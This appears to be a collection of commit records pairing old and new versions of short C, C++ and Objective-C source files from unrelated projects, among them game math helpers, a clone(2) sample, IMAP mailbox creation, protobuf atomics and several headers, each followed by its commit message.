/*------------------------------------------------------------------------------
| NuCTex	| math.c
| Author	| Benjamin A - Nullsrc
| Created	| 30 December, 2015
| Changed	| 31 December, 2015
|-------------------------------------------------------------------------------
| Overview	| Implementation of various mathematical functions used in the game
\-----------------------------------------------------------------------------*/

#include "math.h"
#include <stdio.h>
#include <stdlib.h>

void initRand() {
	srand(time(NULL));
}

int rng(int low, int high) {
	high += 1;
	int temp = low;
	int addend = rand() % (high - low);
	temp += addend;
	return temp;
}

int zrng(int range) {
	int temp = rand() % (range + 1);
	return temp;
}

int brng() {
	int temp = rand() % 2;
	return temp;
}

int calcDamage(int strength) {
	int damageTotal = 0;
	damageTotal = rng(strength - (strength/4), strength + (strength/5));
	return damageTotal;
}

int runAway(int escapingAgility, int chasingAgility) {
	if(escapingAgility > chasingAgility) {
		return 1;
	}
	else {
		return 0;
	}
}

/*------------------------------------------------------------------------------
| NuCTex	| math.c
| Author	| Benjamin A - Nullsrc
| Created	| 30 December, 2015
| Changed	| 31 December, 2015
|-------------------------------------------------------------------------------
| Overview	| Implementation of various mathematical functions used in the game
\-----------------------------------------------------------------------------*/

#include "math.h"
#include <stdio.h>
#include <stdlib.h>

void initRand() {
	srand(time(NULL));
}

int rng(int low, int high) {
	high += 1;
	int temp = low;
	int addend = rand() % (high - low);
	temp += addend;
	return temp;
}

int zrng(int range) {
	int temp = rand() % (range + 1);
	return temp;
}

int brng() {
	int temp = rand() % 2;
	return temp;
}

int calcDamage(int strength) {
	int damageTotal = 0;
	damageTotal = rng(strength - (strength/4), strength + (strength/5));
	return damageTotal;
}

int runAway(int escapingAgility, int chasingAgility) {
	if((escapingAgility + zrng(escapingAgility/3)) > chasingAgility) {
		return 1;
	}
	else {
		return 0;
	}
}

Add RNG to running away.

Add RNG to running away.


#define _GNU_SOURCE
#include <sched.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int child_func(void* arg) {
  char* buf = (char*)arg;
  strcpy(buf, "hello");
  return 0;
}

int main(int argc, char** argv) {
  // Stack for child.
  const int STACK_SIZE = 65536;

  char* stack = malloc(STACK_SIZE);
  if (!stack) {
    perror("malloc");
    exit(1);
  }

  unsigned long flags = 0;
  if (argc > 1 && !strcmp(argv[1], "vm")) {
    flags |= CLONE_VM;
  }

  char buf[100] = {0};
  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {
    perror("clone");
    exit(1);
  }

  int status;
  pid_t pid = waitpid(-1, &status, 0);
  if (pid == -1) {
    perror("waitpid");
    exit(1);
  }

  printf("Child exited. buf = \"%s\"\n", buf);
  return 0;
}

// We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_*
// flags from sched.h
#define _GNU_SOURCE
#include <sched.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int child_func(void* arg) {
  char* buf = (char*)arg;
  strcpy(buf, "hello");
  return 0;
}

int main(int argc, char** argv) {
  // Allocate stack for child task.
  const int STACK_SIZE = 65536;
  char* stack = malloc(STACK_SIZE);
  if (!stack) {
    perror("malloc");
    exit(1);
  }

  // When called with the command-line argument "vm", set the CLONE_VM flag on.
  unsigned long flags = 0;
  if (argc > 1 && !strcmp(argv[1], "vm")) {
    flags |= CLONE_VM;
  }

  char buf[100] = {0};
  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {
    perror("clone");
    exit(1);
  }

  int status;
  if (wait(&status) == -1) {
    perror("wait");
    exit(1);
  }

  printf("Child exited with status %d. buf = \"%s\"\n", status, buf);
  return 0;
}

Clean up and simplify sample

Clean up and simplify sample


/**
  * Win32 UTF-8 wrapper
  *
  * ----
  *
  * main() entry point.
  * Compile or #include this file as part of your sources
  * if your program runs in the console subsystem.
  */

#include "src/entry.h"
#undef main

int __cdecl main(void)
{
	return win32_utf8_entry(win32_utf8_main);
}

/**
  * Win32 UTF-8 wrapper
  *
  * ----
  *
  * main() entry point.
  * Compile or #include this file as part of your sources
  * if your program runs in the console subsystem.
  */

#include "src/entry.h"
#undef main

int __cdecl wmain(void)
{
	return win32_utf8_entry(win32_utf8_main);
}

// If both main() and wmain() are defined...
//  Visual Studio (or more specifically, LINK.EXE) defaults to main()
//  Pelles C defaults to wmain(), without even printing a "ambiguous entry
//   point" warning
//  MinGW/GCC doesn't care, and expects wmain() if you specify -municode,
//   and main() by default.
// Thus, we keep main() as a convenience fallback for GCC.

#ifndef _MSC_VER

int __cdecl main(void)
{
	return win32_utf8_entry(win32_utf8_main);
}

#endif

Define wmain() in addition to main().

Define wmain() in addition to main().

Saving those precious nanoseconds that the C runtime would otherwise
waste with needlessly converting the command line from UTF-16 to the
ANSI codepage. Y'know, I figured it might raise questions if I omit
this, and maybe you don't want to have that feel of tainting your build
with an unnecessary ANSI function…

But yeah, entry point precedence *was* a question I had when writing
these wrappers, so at least it serves as documentation now. But yeah,
main() ultimately *is* the superior choice, due to both being
cross-platform and requiring less build configuration.

Now, if GCC had a #pragma to control its entry point selection behavior,
it would be awesome and I'd be gushing with praise at this marvelous
piece of compiler technology. This is still pretty nice though.


#include <Python.h>
#include <systemd/sd-journal.h>

#ifndef journaldpython
#define journaldpython

static PyObject *
journald_send(PyObject *self, PyObject *args)
{
    //const char *command;
    //int sts;

    //if (!PyArg_ParseTuple(args, "s", &command))
    //    return NULL;
    //sts = system(command);
    //return Py_BuildValue("i", sts);
    sd_journal_send("Test message: %s.", "arg1", NULL);
    Py_INCREF(Py_None);
    return Py_None;
}

static PyMethodDef journaldMethods[] = {
    {"send",  journald_send, METH_VARARGS,
     "Send an entry to journald."},
    {NULL, NULL, 0, NULL}        /* Sentinel */
};

PyMODINIT_FUNC
initjournald(void)
{
    (void) Py_InitModule("journald", journaldMethods);
}

#endif

#include <Python.h>
#include <systemd/sd-journal.h>

#ifndef journaldpython
#define journaldpython

static PyObject *
journald_send(PyObject *self, PyObject *args)
{
    //const char *command;
    //int sts;

    //if (!PyArg_ParseTuple(args, "s", &command))
    //    return NULL;
    //sts = system(command);
    //return Py_BuildValue("i", sts);
    sd_journal_print(1, "Test message: %s.", "arg1", NULL);
    Py_INCREF(Py_None);
    return Py_None;
}

static PyMethodDef journaldMethods[] = {
    {"send",  journald_send, METH_VARARGS,
     "Send an entry to journald."},
    {NULL, NULL, 0, NULL}        /* Sentinel */
};

PyMODINIT_FUNC
initjournald(void)
{
    (void) Py_InitModule("journald", journaldMethods);
}

#endif

Use sd_journal_print() instead of send.

Use sd_journal_print() instead of send.


/*
 * This file is part of Kotaka, a mud library for DGD
 * http://github.com/shentino/kotaka
 *
 * Copyright (C) 2017  Raymond Jennings
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
#include <kernel/user.h>
#include <kotaka/paths/system.h>
#include <kotaka/paths/text.h>
#include <kotaka/paths/verb.h>

inherit LIB_VERB;

string *query_parse_methods()
{
	return ({ "raw" });
}

void main(object actor, mapping roles)
{
	int sz;
	string *resources;
	object proxy;
	string args;

	if (query_user()->query_class() < 3) {
		send_out("Permission denied.\n");
		return;
	}

	args = roles["raw"];

	resources = KERNELD->query_resources();
	proxy = PROXYD->get_proxy(query_user()->query_name());

	for (sz = sizeof(resources), --sz; sz >= 0; --sz) {
		proxy->rsrc_set_limit(args, resources[sz], -1);
	}

	send_out("Resource limits for " + args + " removed.\n");
}

Add new verb to reset the kernel library resource limits for an owner


/* Copyright (C) 2002 Timo Sirainen */

#include "common.h"
#include "mail-namespace.h"
#include "commands.h"

bool cmd_create(struct client_command_context *cmd)
{
	struct mail_namespace *ns;
	const char *mailbox, *full_mailbox;
	bool directory;
	size_t len;

	/* <mailbox> */
	if (!client_read_string_args(cmd, 1, &mailbox))
		return FALSE;
	full_mailbox = mailbox;

	ns = client_find_namespace(cmd, &mailbox);
	if (ns == NULL)
		return TRUE;

	len = strlen(full_mailbox);
	if (len == 0 || full_mailbox[len-1] != ns->sep)
		directory = FALSE;
	else {
		/* name ends with hierarchy separator - client is just
		   informing us that it wants to create children under this
		   mailbox. */
                directory = TRUE;
		mailbox = t_strndup(mailbox, len-1);
		full_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);
	}

	if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))
		return TRUE;

	if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)
		client_send_storage_error(cmd, ns->storage);
	else
		client_send_tagline(cmd, "OK Create completed.");
	return TRUE;
}

/* Copyright (C) 2002 Timo Sirainen */

#include "common.h"
#include "mail-namespace.h"
#include "commands.h"

bool cmd_create(struct client_command_context *cmd)
{
	struct mail_namespace *ns;
	const char *mailbox, *full_mailbox;
	bool directory;
	size_t len;

	/* <mailbox> */
	if (!client_read_string_args(cmd, 1, &mailbox))
		return FALSE;
	full_mailbox = mailbox;

	ns = client_find_namespace(cmd, &mailbox);
	if (ns == NULL)
		return TRUE;

	len = strlen(full_mailbox);
	if (len == 0 || full_mailbox[len-1] != ns->sep)
		directory = FALSE;
	else {
		/* name ends with hierarchy separator - client is just
		   informing us that it wants to create children under this
		   mailbox. */
                directory = TRUE;
		mailbox = t_strndup(mailbox, strlen(mailbox)-1);
		full_mailbox = t_strndup(full_mailbox, len-1);
	}

	if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))
		return TRUE;

	if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)
		client_send_storage_error(cmd, ns->storage);
	else
		client_send_tagline(cmd, "OK Create completed.");
	return TRUE;
}

CREATE ns_prefix/box/ didn't work right when namespace prefix existed.


/*
 * #%L
 * %%
 * Copyright (C) 2011 - 2013 BMW Car IT GmbH
 * %%
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * #L%
 */
#ifndef LIBJOYNRDIRECTORIES_H
#define LIBJOYNRDIRECTORIES_H

#include "joynr/RequestCaller.h"
#include "joynr/IReplyCaller.h"
#include "joynr/Directory.h"
#include "joynr/ISubscriptionCallback.h"
#include <string>

namespace joynr
{

typedef Directory<std::string, RequestCaller> RequestCallerDirectory;
typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory;
typedef Directory<std::string, ISubscriptionCallback> AttributeSubscriptionDirectory;

} // namespace joynr
#endif // LIBJOYNRDIRECTORIES_H

/*
 * #%L
 * %%
 * Copyright (C) 2011 - 2013 BMW Car IT GmbH
 * %%
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * #L%
 */
#ifndef LIBJOYNRDIRECTORIES_H
#define LIBJOYNRDIRECTORIES_H

#include "joynr/RequestCaller.h"
#include "joynr/IReplyCaller.h"
#include "joynr/Directory.h"
#include "joynr/ISubscriptionCallback.h"
#include <string>

namespace joynr
{

typedef Directory<std::string, RequestCaller> RequestCallerDirectory;
typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory;

} // namespace joynr
#endif // LIBJOYNRDIRECTORIES_H

[C++] Remove unused alias for Directory (AttributeSubscriptionDirectory)

Change-Id: I3345bf2e269c0e34f0c4c026b1ada457fbdd734c


// Protocol Buffers - Google's data interchange format
// Copyright 2012 Google Inc.  All rights reserved.
// http://code.google.com/p/protobuf/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//     * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

// This file is an internal atomic implementation, use atomicops.h instead.

#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_
#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_

namespace google {
namespace protobuf {
namespace internal {

inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,
                                         Atomic32 old_value,
                                         Atomic32 new_value) {
  return __sync_val_compare_and_swap(ptr, old_value, new_value);
}

inline void MemoryBarrier() {
  __sync_synchronize();
}

inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,
                                       Atomic32 old_value,
                                       Atomic32 new_value) {
  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);
  MemoryBarrier();
  return ret;
}

inline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {
  MemoryBarrier();
  *ptr = value;
}

inline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {
  Atomic32 value = *ptr;
  MemoryBarrier();
  return value;
}

}  // namespace internal
}  // namespace protobuf
}  // namespace google

#endif  // GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_

Add the missing PNaCl atomicops support.

git-svn-id: 6df6fa3ddd728f578ea1442598151d5900a6ed44@462 630680e5-0e50-0410-840e-4b1c322b438d


/**
 *  @file
 *  @copyright defined in eos/LICENSE.txt
 */
#pragma once

#include <stdint.h>
#include <wchar.h>

#ifdef __cplusplus
extern "C" {
#endif

/**
 *  @defgroup types Builtin Types
 *  @ingroup contractdev
 *  @brief Specifies typedefs and aliases
 *
 *  @{
 */

typedef uint64_t account_name;
typedef uint64_t permission_name;
typedef uint64_t table_name;
typedef uint32_t time;
typedef uint64_t action_name;

typedef uint16_t weight_type;

/* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */
#define ALIGNED(X) __attribute__ ((aligned (16))) X

struct public_key {
   char data[34];
};

struct signature {
   uint8_t data[66];
};

struct ALIGNED(checksum256) {
   uint8_t hash[32];
};

struct ALIGNED(checksum160) {
   uint8_t hash[20];
};

struct ALIGNED(checksum512) {
   uint8_t hash[64];
};

typedef struct checksum256 transaction_id_type;
typedef struct checksum256 block_id_type;

struct account_permission {
   account_name account;
   permission_name permission;
};

#ifdef __cplusplus
} /// extern "C"
#endif
/// @}

/**
 *  @file
 *  @copyright defined in eos/LICENSE.txt
 */
#pragma once

#include <stdint.h>
#include <wchar.h>

#ifdef __cplusplus
extern "C" {
#endif

/**
 *  @defgroup types Builtin Types
 *  @ingroup contractdev
 *  @brief Specifies typedefs and aliases
 *
 *  @{
 */

typedef uint64_t account_name;
typedef uint64_t permission_name;
typedef uint64_t table_name;
typedef uint32_t time;
typedef uint64_t scope_name;
typedef uint64_t action_name;

typedef uint16_t weight_type;

/* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */
#define ALIGNED(X) __attribute__ ((aligned (16))) X

struct public_key {
   char data[34];
};

struct signature {
   uint8_t data[66];
};

struct ALIGNED(checksum256) {
   uint8_t hash[32];
};

struct ALIGNED(checksum160) {
   uint8_t hash[20];
};

struct ALIGNED(checksum512) {
   uint8_t hash[64];
};

typedef struct checksum256 transaction_id_type;
typedef struct checksum256 block_id_type;

struct account_permission {
   account_name account;
   permission_name permission;
};

#ifdef __cplusplus
} /// extern "C"
#endif
/// @}

Add back scope_name used by a few contracts


/*
 * $Id$
 *
 * Kills all processes belonging to the supplied process group id.
 *
 * In the normal case, this allows you to kill a process and any of its
 * children.
 */

#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

void usage()
{
    fprintf(stderr, "Usage: killpgrp <pgid>\n");
}

int main(int argc, char **argv)
{
    int pgid;

    if (argc < 2) {
        usage();
        exit(2);
    }

    pgid = atoi(argv[1]);
    pgid = -pgid;
    kill(pgid, SIGTERM);

    exit(0);
}

Add a simple program to kill all processes in a process group.


/*
 *  TCP connection sample program
 *   explaining the way to use planetfs
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void die(const char *prefix)
{
    perror(prefix);
    exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
    int clone_fd, data_fd, size;
    char data_file[256], buffer[1024];
    const char *clone_file   = "/net/tcp/clone",
               *ctl_request  = "connect 74.125.235.240!80",
               *http_request = "GET /index.html HTTP/1.1\r\n"
                               "Host: www.google.co.jp\r\n"
                               "Connection: close\r\n\r\n";
    clone_fd = open(clone_file, O_RDWR);
    if (clone_fd < 0)
        die("clone: open");
    if (read(clone_fd, buffer, sizeof (buffer)) < 0)
        die("clone: read");
    if (write(clone_fd, ctl_request, strlen(ctl_request)) < 0)
        die("clone: write");

    snprintf(data_file, sizeof (data_file), "/net/tcp/%s/data", buffer);
    data_fd = open(data_file, O_RDWR);
    if (data_fd < 0)
        die("data: open");

    /* Send a HTTP request */
    if (write(data_fd, http_request, strlen(http_request)) < 0)
        die("data: write");

    /* Receive the response of the remote host */
    do {
        size = read(data_fd, buffer, sizeof (buffer));
        if (size < 0)
            die("data: read");
        /* Display the response of the server */
        write(STDOUT_FILENO, buffer, size);
    } while (size != 0);

    close(data_fd);
    close(clone_fd);
    return EXIT_SUCCESS;
}

Add a new http client example based on the new style


#ifndef BYTECODE_H
#define BYTECODE_H

#include <iostream>
#include <iomanip>

using namespace std;

enum ByteCode {
	PUSH = 0,
	PRINT = 1,
	END = 2
};

void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral);
void writeSimpleCall(ofstream* outStream, ByteCode bytecode);
void writeEnd(ofstream* stream);

ByteCode readByteCode(ifstream* stream);

template<typename T>
std::ostream& binary_write(std::ostream* stream, const T& value){
	return stream->write(reinterpret_cast<const char*>(&value), sizeof(T));
}

template<typename T>
std::istream & binary_read(std::istream* stream, T& value)
{
    return stream->read(reinterpret_cast<char*>(&value), sizeof(T));
}

std::ostream& binary_write_string(std::ostream* stream, string value);

std::string binary_read_string(std::istream* stream);

#endif

#ifndef BYTECODE_H
#define BYTECODE_H

#include <iostream>
#include <iomanip>

using namespace std;

enum ByteCode {
	PUSH = 0,
	PRINT = 1,
	END = 2
};

/* Write operations */

void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral);
void writeSimpleCall(ofstream* outStream, ByteCode bytecode);
void writeEnd(ofstream* stream);
void writeLitteral(ofstream* stream, string value);

/* Read operations */

ByteCode readByteCode(ifstream* stream);
char readConstantType(ifstream* stream);
string readLitteral(ifstream* stream);

#endif

Use the new designed library

Use the new designed library


/* Definitions for use with Linux AF_PACKET sockets.
   Copyright (C) 1998, 1999 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#ifndef __NETPACKET_PACKET_H
#define __NETPACKET_PACKET_H	1

struct sockaddr_ll
  {
    unsigned short int sll_family;
    unsigned short int sll_protocol;
    int sll_ifindex;
    unsigned short int sll_hatype;
    unsigned char sll_pkttype;
    unsigned char sll_halen;
    unsigned char sll_addr[8];
  };

/* Packet types.  */

#define PACKET_HOST		0		/* To us.  */
#define PACKET_BROADCAST	1		/* To all.  */
#define PACKET_MULTICAST	2		/* To group.  */
#define PACKET_OTHERHOST	3		/* To someone else.  */
#define PACKET_OUTGOING		4		/* Originated by us . */
#define PACKET_LOOPBACK		5
#define PACKET_FASTROUTE	6

/* Packet socket options.  */

#define PACKET_ADD_MEMBERSHIP		1
#define PACKET_DROP_MEMBERSHIP		2
#define	PACKET_RECV_OUTPUT		3
#define	PACKET_RX_RING			5
#define	PACKET_STATISTICS		6

struct packet_mreq
  {
    int mr_ifindex;
    unsigned short int mr_type;
    unsigned short int mr_alen;
    unsigned char mr_address[8];
  };

#define PACKET_MR_MULTICAST	0
#define PACKET_MR_PROMISC	1
#define PACKET_MR_ALLMULTI	2

#endif	/* netpacket/packet.h */

Make pump happy. Add in this header. -Erik


//
//  ApptentiveSafeCollections.h
//  Apptentive
//
//  Created by Alex Lementuev on 3/20/17.
//  Copyright © 2017 Apptentive, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

NS_ASSUME_NONNULL_BEGIN

/**
 Returns non-nil value or NSNull
 */
id ApptentiveCollectionValue(id value);

/**
 Safely adds key and value into the dictionary
 */
void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);

/**
 Tries to add nullable value into the dictionary
 */
BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);

/**
 Safely retrieves string from a dictionary (or returns nil if failed)
 */
NSString *ApptentiveDictionaryGetString(NSDictionary *dictionary, id<NSCopying> key);

/**
 Safely retrieves array from a dictionary (or returns nil if failed)
 */
NSArray *ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key);

/**
 Safely adds an object to the array.
 */
void ApptentiveArrayAddObject(NSMutableArray *array, id object);

NS_ASSUME_NONNULL_END

//
//  ApptentiveSafeCollections.h
//  Apptentive
//
//  Created by Alex Lementuev on 3/20/17.
//  Copyright © 2017 Apptentive, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

NS_ASSUME_NONNULL_BEGIN

/**
 Returns non-nil value or NSNull
 */
id ApptentiveCollectionValue(id value);

/**
 Safely adds key and value into the dictionary
 */
void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);

/**
 Tries to add nullable value into the dictionary
 */
BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);

/**
 Safely retrieves string from a dictionary (or returns nil if failed)
 */
NSString * _Nullable ApptentiveDictionaryGetString (NSDictionary *dictionary, id<NSCopying> key);

/**
 Safely retrieves array from a dictionary (or returns nil if failed)
 */
NSArray * _Nullable ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key);

/**
 Safely adds an object to the array.
 */
void ApptentiveArrayAddObject(NSMutableArray *array, id object);

NS_ASSUME_NONNULL_END

Add nullable flag to ApptentiveDictionaryGetArray and -String


/*
 * Copyright 2011 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef GMSampleView_DEFINED
#define GMSampleView_DEFINED

#include "SampleCode.h"
#include "gm.h"

class GMSampleView : public SampleView {
private:
    typedef skiagm::GM GM;

public:
    GMSampleView(GM* gm)
    : fGM(gm) {}

    virtual ~GMSampleView() {
        delete fGM;
    }

protected:
    virtual bool onQuery(SkEvent* evt) {
        if (SampleCode::TitleQ(*evt)) {
            SkString name("GM ");
            name.append(fGM->shortName());
            SampleCode::TitleR(evt, name.c_str());
            return true;
        }
        return this->INHERITED::onQuery(evt);
    }

    virtual void onDrawContent(SkCanvas* canvas) {
        fGM->drawContent(canvas);
    }

    virtual void onDrawBackground(SkCanvas* canvas) {
        fGM->drawBackground(canvas);
    }

private:
    GM* fGM;
    typedef SampleView INHERITED;
};

#endif

/*
 * Copyright 2011 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef GMSampleView_DEFINED
#define GMSampleView_DEFINED

#include "SampleCode.h"
#include "gm.h"

class GMSampleView : public SampleView {
private:
    typedef skiagm::GM GM;

public:
    GMSampleView(GM* gm)
    : fGM(gm) {}

    virtual ~GMSampleView() {
        delete fGM;
    }

protected:
    virtual bool onQuery(SkEvent* evt) {
        if (SampleCode::TitleQ(*evt)) {
            SkString name("GM:");
            name.append(fGM->shortName());
            SampleCode::TitleR(evt, name.c_str());
            return true;
        }
        return this->INHERITED::onQuery(evt);
    }

    virtual void onDrawContent(SkCanvas* canvas) {
        fGM->drawContent(canvas);
    }

    virtual void onDrawBackground(SkCanvas* canvas) {
        fGM->drawBackground(canvas);
    }

private:
    GM* fGM;
    typedef SampleView INHERITED;
};

#endif

Use : as separator between "GM" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.

git-svn-id: e8541e15acce502a64c929015570ad1648e548cd@2846 2bbb7eff-a529-9590-31e7-b0007b416f81


#ifndef PGTYPES_TIMESTAMP
#define PGTYPES_TIMESTAMP

#include <pgtypes_interval.h>

#ifdef HAVE_INT64_TIMESTAMP
typedef int64 timestamp;
typedef int64 TimestampTz;

#else
typedef double timestamp;
typedef double TimestampTz;
#endif

#ifdef __cplusplus
extern		"C"
{
#endif

extern timestamp PGTYPEStimestamp_from_asc(char *, char **);
extern char *PGTYPEStimestamp_to_asc(timestamp);
extern int	PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *);
extern int	PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *);
extern void PGTYPEStimestamp_current(timestamp *);
extern int	PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *);

#ifdef __cplusplus
}
#endif

#endif   /* PGTYPES_TIMESTAMP */

#ifndef PGTYPES_TIMESTAMP
#define PGTYPES_TIMESTAMP

#include <pgtypes_interval.h>

#ifdef HAVE_INT64_TIMESTAMP
typedef int64 timestamp;
typedef int64 TimestampTz;

#else
typedef double timestamp;
typedef double TimestampTz;
#endif

#ifdef __cplusplus
extern		"C"
{
#endif

extern timestamp PGTYPEStimestamp_from_asc(char *, char **);
extern char *PGTYPEStimestamp_to_asc(timestamp);
extern int	PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *);
extern int	PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *);
extern void PGTYPEStimestamp_current(timestamp *);
extern int	PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *);
extern int  PGTYPEStimestamp_add_interval(timestamp *tin, interval *span, timestamp *tout);
extern int  PGTYPEStimestamp_sub_interval(timestamp *tin, interval *span, timestamp *tout);

#ifdef __cplusplus
}
#endif

#endif   /* PGTYPES_TIMESTAMP */

Add missing ecpg prototype for newly added functions.


/*
 * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved.
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

#ifndef BOARD_DEF_H
#define BOARD_DEF_H

#include <lib/utils_def.h>

/* The ports must be in order and contiguous */
#define K3_CLUSTER0_CORE_COUNT		2
#define K3_CLUSTER1_CORE_COUNT		2
#define K3_CLUSTER2_CORE_COUNT		2
#define K3_CLUSTER3_CORE_COUNT		2

/*
 * This RAM will be used for the bootloader including code, bss, and stacks.
 * It may need to be increased if BL31 grows in size.
 */
#define SEC_SRAM_BASE			0x70000000 /* Base of MSMC SRAM */
#define SEC_SRAM_SIZE			0x00020000 /* 128k */

#define PLAT_MAX_OFF_STATE		U(2)
#define PLAT_MAX_RET_STATE		U(1)

#define PLAT_PROC_START_ID		32
#define PLAT_PROC_DEVICE_START_ID	202

#endif /* BOARD_DEF_H */

/*
 * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved.
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

#ifndef BOARD_DEF_H
#define BOARD_DEF_H

#include <lib/utils_def.h>

/* The ports must be in order and contiguous */
#define K3_CLUSTER0_CORE_COUNT		U(2)
#define K3_CLUSTER1_CORE_COUNT		U(2)
#define K3_CLUSTER2_CORE_COUNT		U(2)
#define K3_CLUSTER3_CORE_COUNT		U(2)

/*
 * This RAM will be used for the bootloader including code, bss, and stacks.
 * It may need to be increased if BL31 grows in size.
 */
#define SEC_SRAM_BASE			0x70000000 /* Base of MSMC SRAM */
#define SEC_SRAM_SIZE			0x00020000 /* 128k */

